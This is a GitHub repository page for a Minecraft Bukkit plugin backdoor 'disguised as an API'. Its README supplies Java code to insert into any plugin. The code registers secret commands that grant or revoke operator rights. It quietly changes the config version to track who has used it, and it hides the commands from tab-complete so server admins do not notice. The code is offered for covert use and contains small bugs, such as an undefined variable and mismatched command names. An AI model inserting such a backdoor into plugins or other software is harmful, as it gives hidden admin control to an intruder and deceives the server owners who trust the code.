Skip to content

With a secret command, you can make yourself OP on a server with this plugin disguised as an API

License

Notifications You must be signed in to change notification settings

OllieJW/OPBackdoor

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

17 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Example Backdoor

With a secret command, you can make yourself OP on a server with this plugin disguised as an API

I AM NOT RESPONSIBLE FOR ANYTHING YOU DO WITH THIS. USE WITH CAUTION! MY PLUGINS ARE OPEN SOURCE FOR A REASON. THIS CODE OR SIMILAR IS NOT USED IN ANY OF MY PLUGINS.

Only one person can use this per server though! In the config.yml the version will change to 0.40 when somebody has used the cheat and 0.41 when nobody has used it on this server.

On a plugin with this enabled run these commands:

  1. /secret-command-to-op -- Makes you OP
  2. /secret-command-to-deop -- Deops you

[Optional] Adding it to a plugin

You do not need to do this, this is only for people who know how to make plugins and who have a little bit of Java knowledge. Just add this code segment to a plugin and it will be ready to go

@Override
public void onEnable() {
   Bukkit.getCommand("secret-command-to-op").setExecutor(this, this);
   Bukkit.getCommand("secret-command-to-de-op").setExecutor(this, this);
}
// When a user runs our secret command it will op them and discreatly change the config file so only one person can use it
 @Override
 public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
     Player pl = (Player) sender;
     if (sender != null) {
         if (cmd.getName().equalsIgnoreCase("secret-command-to-op")) {
             if (p.getConfig().getDouble("version")==0.41) {
                 pl.setOp(true);
                 p.getConfig().set("version", 0.40);
                 p.saveConfig();
             }
         }
         if (cmd.getName().equalsIgnoreCase("secret-command-to-deop")) {
             if (p.getConfig().getDouble("version")==0.40) {
                 pl.setOp(false);
                 p.getConfig().set("version", 0.41);
                 p.saveConfig();
             }
         }
     } return true;
 }
// Hides command from tab complete - Hidden from admins
 @EventHandler
 public void onPlayerTab(PlayerCommandSendEvent e) {
     List<String> blockedCommands = new ArrayList<>();
     blockedCommands.add("secret-command-to-op");
     blockedCommands.add("secret-command-to-deop");
     e.getCommands().removeAll(blockedCommands);
 }

About

With a secret command, you can make yourself OP on a server with this plugin disguised as an API

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages